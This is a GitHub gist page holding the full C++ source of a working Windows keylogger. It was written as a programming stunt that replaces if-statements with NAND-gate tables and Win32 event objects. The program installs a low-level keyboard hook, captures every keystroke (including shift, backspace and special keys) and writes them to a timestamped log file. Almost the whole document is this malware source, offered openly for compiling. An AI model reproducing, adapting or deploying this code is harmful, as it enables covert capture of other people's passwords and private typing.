Last active
January 16, 2025 06:59
-
-
Save daaximus/9344b3f383e6a7d99a06a6916d3520a7 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Compiled with LLVM clang-cl in VS2022, latest-working draft c/++ | |
// no ifs ands or buts keylogger (@https://x.com/vxunderground/status/1879395134321954958) | |
// updated with RYO if-else construct | |
// v1 using ternary+logical-and+comma: https://gist.github.com/daaximus/1f6125f0e7da3072bc7e8a403245ef1b | |
// | |
#define _CRT_SECURE_NO_WARNINGS | |
#include <cstdint> | |
#include <windows.h> | |
#include <stdio.h> | |
#include <time.h> | |
#include <ctype.h> | |
#include <io.h> | |
#include <fcntl.h> | |
#include <functional> | |
#include <utility> | |
static bool nand_gate( bool a, bool b ) | |
{ | |
static const bool table[ 4 ] = { true, true, true, false }; | |
int idx = a << 1 | b; | |
return table[ idx ]; | |
} | |
static bool not_gate( bool x ) | |
{ | |
return nand_gate( x, x ); | |
} | |
static bool and_gate( bool x, bool y ) | |
{ | |
bool t = nand_gate( x, y ); | |
return nand_gate( t, t ); | |
} | |
static bool eq_uint32( uint32_t a, uint32_t b ) | |
{ | |
uint32_t diff = ( a ^ b ); | |
bool nonzero = ( diff != 0 ); | |
return not_gate( nonzero ); | |
} | |
static uintptr_t pick_event( bool cond, HANDLE evt_false, HANDLE evt_true ) | |
{ | |
auto base = ( uintptr_t )evt_false; | |
auto alt = ( uintptr_t )evt_true; | |
int c = ( int ) cond; | |
return base + ( ( alt - base ) * c ); | |
} | |
template<typename TrueFn, typename FalseFn> | |
void if_else( bool cond, TrueFn if_fn, FalseFn else_fn ) | |
{ | |
static const auto init_once = [ ] () | |
{ | |
static HANDLE evt_if = CreateEventW( nullptr, TRUE, FALSE, nullptr ); | |
static HANDLE evt_else = CreateEventW( nullptr, TRUE, FALSE, nullptr ); | |
return std::make_pair( evt_if, evt_else ); | |
}( ); | |
const auto [evt_if, evt_else] = init_once; | |
auto sel = ( HANDLE ) pick_event( cond, evt_else, evt_if ); | |
SetEvent( sel ); | |
HANDLE events[ 2 ] = { evt_if, evt_else }; | |
DWORD r = WaitForMultipleObjects( 2, events, FALSE, INFINITE ); | |
std::function<void()> fns[] = { if_fn, else_fn }; | |
fns[ r - WAIT_OBJECT_0 ](); | |
ResetEvent( evt_if ); | |
ResetEvent( evt_else ); | |
} | |
typedef struct | |
{ | |
size_t ks; | |
FILE* log; | |
bool shift_held; | |
} global_blk; | |
typedef struct | |
{ | |
unsigned long vk; | |
const char* name; | |
} keypack; | |
global_blk globals = { 0, nullptr, false }; | |
HHOOK kbd_hook = nullptr; | |
static keypack specials[] = { | |
{VK_TAB, "\t"}, | |
{VK_RETURN, "\n"}, | |
{VK_CONTROL, "[CTRL]"}, | |
{VK_MENU, "[ALT]"}, | |
{VK_CAPITAL, "[CAPS]"}, | |
{VK_ESCAPE, "[ESC]"}, | |
{VK_SPACE, " "}, | |
{VK_PRIOR, "[PGUP]"}, | |
{VK_NEXT, "[PGDN]"}, | |
{VK_END, "[END]"}, | |
{VK_HOME, "[HOME]"}, | |
{VK_LEFT, "[<-]"}, | |
{VK_UP, "[^]"}, | |
{VK_RIGHT, "[->]"}, | |
{VK_DOWN, "[v]"}, | |
{VK_INSERT, "[INS]"}, | |
{VK_DELETE, "[DEL]"}, | |
{VK_LWIN, "[WIN]"}, | |
{VK_RWIN, "[WIN]"}, | |
{ 0, nullptr }, | |
}; | |
static void getk( keypack** result, keypack* key ) | |
{ | |
*result = key; | |
} | |
keypack* match_internal( keypack* keys, unsigned long vk ); | |
static void cont( keypack** result, keypack* keys, unsigned long vk ) | |
{ | |
*result = match_internal( keys + 1, vk ); | |
} | |
keypack* match_internal( keypack* keys, unsigned long vk ) | |
{ | |
keypack* result; | |
if_else( eq_uint32( keys->vk, 0 ), | |
[ & ] () { getk( &result, nullptr ); }, | |
[ & ] () | |
{ | |
if_else( eq_uint32( keys->vk, vk ), | |
[ & ] () { getk( &result, keys ); }, | |
[ & ] () { cont( &result, keys, vk ); } | |
); } ); | |
return result; | |
} | |
const char* match( unsigned long vk ) | |
{ | |
const keypack* key = match_internal( specials, vk ); | |
return key ? key->name : nullptr; | |
} | |
static void handle_back( void ) | |
{ | |
long pos = ftell( globals.log ); | |
if_else( pos > 0, | |
[ & ] () | |
{ | |
fseek( globals.log, -1, SEEK_CUR ); | |
_chsize( _fileno( globals.log ), pos - 1 ); | |
}, | |
[ ] () {} | |
); | |
} | |
static void handle_shift( bool is_keydown ) | |
{ | |
globals.shift_held = is_keydown; | |
is_keydown ? fflush( globals.log ) : 0; | |
} | |
static void handle_keys( unsigned long vk, const char* ktype ) | |
{ | |
char kname[ 32 ] = { 0 }; | |
if_else( ktype != nullptr, | |
[ & ] () { fprintf( globals.log, "%s", ktype ); fflush( globals.log ); }, | |
[ & ] () | |
{ | |
GetKeyNameTextA( MapVirtualKeyA( vk, MAPVK_VK_TO_VSC ) << 16, kname, sizeof( kname ) ); kname[ 0 ] = globals.shift_held ? toupper( kname[ 0 ] ) : tolower( kname[ 0 ] ); | |
fprintf( globals.log, "%s", kname ); | |
fflush( globals.log ); | |
} ); | |
} | |
void handle_keys( unsigned long vk, bool is_keydown ) | |
{ | |
bool is_shift = ( vk == VK_SHIFT || vk == VK_LSHIFT || vk == VK_RSHIFT ); | |
if_else( is_shift, | |
[ & ] () { handle_shift( is_keydown ); }, | |
[ & ] () { if_else( is_keydown, [ & ] () { if_else( eq_uint32( vk, VK_BACK ), | |
[ & ] () { handle_back(); }, | |
[ & ] () { handle_keys( vk, match( vk ) ); } ); }, [ ] () {} ); } ); | |
} | |
LRESULT CALLBACK keyboard_proc( int n_code, WPARAM wparam, LPARAM lparam ) | |
{ | |
LRESULT result = CallNextHookEx( kbd_hook, n_code, wparam, lparam ); | |
KBDLLHOOKSTRUCT* kb_struct = ( KBDLLHOOKSTRUCT* ) lparam; | |
if_else( n_code >= 0, [ & ] () { | |
if_else( wparam == WM_KEYDOWN || wparam == WM_KEYUP, | |
[ & ] () { globals.ks++; handle_keys( kb_struct->vkCode, wparam == WM_KEYDOWN ); }, [ ] () {} ); }, [ ] () {} ); | |
return result; | |
} | |
int pms() | |
{ | |
MSG msg; | |
bool message_result = GetMessage( &msg, nullptr, 0, 0 ); | |
if_else( message_result, | |
[ & ] () { TranslateMessage( &msg ); DispatchMessage( &msg ); pms(); }, | |
[ ] () {} | |
); | |
return message_result; | |
} | |
void init() | |
{ | |
time_t now; | |
tm* ti; | |
char fname[ MAX_PATH ]; | |
char ts[ 64 ]; | |
time( &now ); | |
ti = localtime( &now ); | |
strftime( ts, sizeof( ts ), "%Y%m%d_%H%M%S", ti ); | |
_snprintf( fname, sizeof( fname ), "%s.log", ts ); | |
globals.log = fopen( fname, "wb+" ); | |
} | |
static void fail() | |
{ | |
printf( "!work\n" ); | |
} | |
static void success() | |
{ | |
printf( "work\n" ); | |
pms(); | |
UnhookWindowsHookEx( kbd_hook ); | |
fclose( globals.log ); | |
} | |
int main( int argc, char** argv, char** envp ) | |
{ | |
int result = 0; | |
init(); | |
kbd_hook = SetWindowsHookExA( | |
WH_KEYBOARD_LL, | |
keyboard_proc, | |
GetModuleHandle( nullptr ), | |
0 | |
); | |
if_else( kbd_hook == nullptr, | |
[ & ] () { fail(); result = 0xdead; }, | |
[ & ] () { success(); } ); | |
return result; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment